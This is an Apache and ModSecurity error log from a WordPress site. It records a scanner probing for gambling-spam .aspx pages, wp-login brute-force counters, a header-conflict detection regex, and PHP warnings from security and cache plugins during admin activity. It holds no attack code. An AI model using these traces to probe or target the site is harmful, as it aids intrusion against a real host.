[Mon Apr 27 09:51:20.641783 2026] [:error] [pid 6971:tid 7025] [client 81.167.26.57:6853] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ae7BGLOap7jCIaP4nNPhKAAAANg"]
[Mon Apr 27 09:51:24.338842 2026] [:error] [pid 10896:tid 10919] [client 81.167.26.57:55317] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ae7BHF7aFv2GLXAkamnYUQAAAFU"]
[Mon Apr 27 09:51:26.989676 2026] [:error] [pid 10896:tid 10917] [client 81.167.26.57:9166] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ae7BHl7aFv2GLXAkamnYXQAAAFM"]
[Mon Apr 27 09:51:29.643823 2026] [:error] [pid 7056:tid 7081] [client 81.167.26.57:62557] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ae7BISaiHlvwyvjHbeuEvQAAARY"]
[Mon Apr 27 09:51:32.955651 2026] [:error] [pid 7056:tid 7082] [client 81.167.26.57:39255] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "ae7BJCaiHlvwyvjHbeuEwwAAARc"]
[Mon Apr 27 09:51:35.581596 2026] [:error] [pid 6972:tid 7040] [client 81.167.26.57:21668] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "ae7BJ-JniPbCiT6NuKfPMwAAAUw"]
[Mon Apr 27 09:51:38.759816 2026] [:error] [pid 6971:tid 7025] [client 81.167.26.57:32403] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "ae7BKrOap7jCIaP4nNPhNgAAANg"]
[Mon Apr 27 09:51:41.411775 2026] [:error] [pid 10896:tid 10909] [client 81.167.26.57:42533] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "ae7BLV7aFv2GLXAkamnYZQAAAEs"]
[Mon Apr 27 09:51:44.010105 2026] [:error] [pid 10867:tid 10873] [client 81.167.26.57:12115] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "ae7BMLOAkozQqeaYR1thNgAAAAM"]
[Mon Apr 27 09:52:19.541533 2026] [:error] [pid 10867:tid 10883] [client 81.167.26.57:49825] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "ae7BU7OAkozQqeaYR1thpAAAAA0"]
[Mon Apr 27 09:52:22.179083 2026] [:error] [pid 6971:tid 7024] [client 81.167.26.57:51702] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "ae7BVrOap7jCIaP4nNPhVAAAANc"]
[Mon Apr 27 09:52:24.847416 2026] [:error] [pid 6971:tid 7021] [client 81.167.26.57:14525] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "ae7BWLOap7jCIaP4nNPhVwAAANQ"]
[Mon Apr 27 09:52:27.479277 2026] [:error] [pid 10896:tid 10907] [client 81.167.26.57:50713] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "ae7BW17aFv2GLXAkamnYhwAAAEk"]
[Mon Apr 27 09:52:30.115714 2026] [:error] [pid 10896:tid 10900] [client 81.167.26.57:1717] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "ae7BXl7aFv2GLXAkamnYiwAAAEI"]
[Mon Apr 27 09:52:33.424265 2026] [:error] [pid 7056:tid 7065] [client 81.167.26.57:5805] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "ae7BYSaiHlvwyvjHbeuFKQAAAQY"]
[Mon Apr 27 09:52:36.023896 2026] [:error] [pid 6972:tid 7029] [client 81.167.26.57:1165] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ae7BZOJniPbCiT6NuKfPaAAAAUE"]
[Mon Apr 27 09:52:38.623014 2026] [:error] [pid 7056:tid 7059] [client 81.167.26.57:47282] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "ae7BZiaiHlvwyvjHbeuFNQAAAQA"]
[Mon Apr 27 09:52:41.283859 2026] [:error] [pid 10896:tid 10903] [client 81.167.26.57:22574] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "ae7BaV7aFv2GLXAkamnYqgAAAEU"]
[Mon Apr 27 09:52:43.965833 2026] [:error] [pid 10867:tid 10875] [client 81.167.26.57:11439] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "ae7Ba7OAkozQqeaYR1thxAAAAAU"]
[Mon Apr 27 09:52:46.625724 2026] [:error] [pid 10896:tid 10899] [client 81.167.26.57:44721] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "ae7Bbl7aFv2GLXAkamnYuwAAAEE"]
[Mon Apr 27 09:52:49.187686 2026] [:error] [pid 10896:tid 10911] [client 81.167.26.57:28405] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ae7BcV7aFv2GLXAkamnYxQAAAE0"]
[Mon Apr 27 09:52:51.820190 2026] [:error] [pid 10867:tid 10875] [client 81.167.26.57:56386] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "ae7Bc7OAkozQqeaYR1thzQAAAAU"]
[Mon Apr 27 09:52:55.419338 2026] [:error] [pid 10926:tid 10948] [client 81.167.26.57:58321] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "ae7Bd85JVz6UQRubscMZDAAAAZQ"]
[Mon Apr 27 09:52:58.035659 2026] [:error] [pid 10867:tid 10889] [client 81.167.26.57:16000] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ae7BerOAkozQqeaYR1th2AAAABM"]
[Mon Apr 27 09:53:00.706879 2026] [:error] [pid 7056:tid 7059] [client 81.167.26.57:53576] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "ae7BfCaiHlvwyvjHbeuFRwAAAQA"]
[Mon Apr 27 09:53:03.224876 2026] [:error] [pid 10867:tid 10892] [client 81.167.26.57:12180] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "ae7Bf7OAkozQqeaYR1th4QAAABY"]
[Mon Apr 27 09:53:05.768370 2026] [:error] [pid 7056:tid 7060] [client 81.167.26.57:6230] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "ae7BgSaiHlvwyvjHbeuFUwAAAQE"]
[Mon Apr 27 09:53:08.390122 2026] [:error] [pid 6970:tid 6985] [client 81.167.26.57:22286] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "ae7BhCs_dFVzfQoHW0RJzgAAAIs"]
[Mon Apr 27 09:53:10.851854 2026] [:error] [pid 7056:tid 7059] [client 81.167.26.57:37159] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ae7BhiaiHlvwyvjHbeuFXQAAAQA"]
[Mon Apr 27 09:53:13.401307 2026] [:error] [pid 10926:tid 10934] [client 81.167.26.57:22658] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "ae7Bic5JVz6UQRubscMZHQAAAYY"]
[Mon Apr 27 12:17:36.719059 2026] [:error] [pid 62607:tid 62616] [client 43.159.143.139:51104] [client 43.159.143.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ae7jYIXk80_zcPo33vd8vQAAAEc"]
[Mon Apr 27 12:32:23.319213 2026] [proxy_fcgi:error] [pid 62511:tid 62579] [client 103.4.122.14:58986] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Mon Apr 27 12:32:37.517370 2026] [proxy_fcgi:error] [pid 62607:tid 62614] [client 103.4.122.14:59052] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Attempt to read property "version" on false in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 132; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Mon Apr 27 12:34:14.537269 2026] [:error] [pid 62607:tid 62618] [client 157.245.242.100:43898] [client 157.245.242.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.245.242.100, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ae7nRoXk80_zcPo33veGVAAAAEk"]
[Mon Apr 27 13:51:54.997402 2026] [:error] [pid 62607:tid 62620] [client 34.55.86.97:50114] [client 34.55.86.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/media/system/js/core.js"] [unique_id "ae75eoXk80_zcPo33vevqgAAAEs"], referer: http://vetstars.com.au/media/system/js/core.js
[Mon Apr 27 14:22:00.589091 2026] [:error] [pid 62509:tid 62521] [client 143.44.165.169:23849] [client 143.44.165.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.44.165.169, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ae8AiNwtbauadMz70GGNGAAAAIY"]
[Mon Apr 27 14:27:42.377138 2026] [:error] [pid 62511:tid 62592] [client 143.44.165.169:57425] [client 143.44.165.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.44.165.169, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ae8B3rBjE-jhU4FY4HiFBAAAAVI"], referer: https://vetstars.com.au/wp-login.php?redirect_to=https%3A%2F%2Fvetstars.com.au%2Fwp-admin%2F&reauth=1
[Mon Apr 27 14:27:48.947482 2026] [autoindex:error] [pid 62509:tid 62515] [client 103.4.122.14:48524] AH01276: Cannot serve directory /home/vetstars/public_html/indexing-test/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 27 14:28:15.109036 2026] [proxy_fcgi:error] [pid 62607:tid 62622] [client 143.44.165.169:58736] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140', referer: https://vetstars.com.au/wp-admin/
[Mon Apr 27 14:33:44.152375 2026] [proxy_fcgi:error] [pid 41011:tid 41077] [client 143.44.165.169:21258] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140', referer: https://vetstars.com.au/wp-admin/users.php
[Mon Apr 27 14:34:07.732045 2026] [proxy_fcgi:error] [pid 41098:tid 41102] [client 143.44.165.169:23938] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140', referer: https://vetstars.com.au/wp-admin/user-edit.php?user_id=5&wp_http_referer=%2Fwp-admin%2Fusers.php
[Mon Apr 27 14:34:30.864399 2026] [proxy_fcgi:error] [pid 41098:tid 41120] [client 143.44.165.169:26183] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140', referer: https://vetstars.com.au/wp-admin/user-edit.php?user_id=5&wp_http_referer=%2Fwp-admin%2Fusers.php
[Mon Apr 27 14:35:50.383263 2026] [proxy_fcgi:error] [pid 41009:tid 41026] [client 143.44.165.169:33923] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140', referer: https://vetstars.com.au/wp-admin/user-edit.php?user_id=5&wp_http_referer=%2Fwp-admin%2Fusers.php
[Mon Apr 27 14:36:07.900614 2026] [proxy_fcgi:error] [pid 41098:tid 41104] [client 143.44.165.169:31806] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140', referer: https://vetstars.com.au/wp-admin/admin.php?page=simple_history_admin_menu_page
[Mon Apr 27 14:36:40.040043 2026] [proxy_fcgi:error] [pid 41010:tid 41050] [client 143.44.165.169:38333] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140', referer: https://vetstars.com.au/wp-admin/themes.php
[Mon Apr 27 14:37:00.161930 2026] [proxy_fcgi:error] [pid 41011:tid 41088] [client 143.44.165.169:37147] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140', referer: https://vetstars.com.au/wp-admin/themes.php
[Mon Apr 27 14:37:09.743901 2026] [proxy_fcgi:error] [pid 41098:tid 41118] [client 143.44.165.169:40291] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140', referer: https://vetstars.com.au/wp-admin/plugins.php
[Mon Apr 27 14:56:09.914898 2026] [proxy_fcgi:error] [pid 41011:tid 41080] [client 143.44.165.169:10884] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140', referer: https://vetstars.com.au/wp-admin/plugins.php?plugin_status=all&paged=1&s
[Mon Apr 27 16:04:29.754119 2026] [:error] [pid 61339:tid 61346] [client 180.110.203.108:48108] [client 180.110.203.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ae8YjSHHVuv2RN6lIrj_vwAAAEU"]
[Mon Apr 27 17:08:16.980790 2026] [proxy_fcgi:error] [pid 61339:tid 61350] [client 143.44.165.169:8842] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140', referer: https://vetstars.com.au/wp-admin/options-general.php?page=updraftplus
[Mon Apr 27 17:08:38.459399 2026] [proxy_fcgi:error] [pid 41009:tid 41018] [client 143.44.165.169:10146] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140', referer: https://vetstars.com.au/wp-admin/plugins.php?plugin_status=all&paged=1&s
[Mon Apr 27 17:09:31.202668 2026] [proxy_fcgi:error] [pid 61339:tid 61365] [client 143.44.165.169:15051] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140', referer: https://vetstars.com.au/wp-admin/plugins.php?plugin_status=all&paged=1&s
[Mon Apr 27 17:10:29.428786 2026] [proxy_fcgi:error] [pid 41010:tid 41049] [client 143.44.165.169:18958] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140', referer: https://vetstars.com.au/wp-admin/users.php
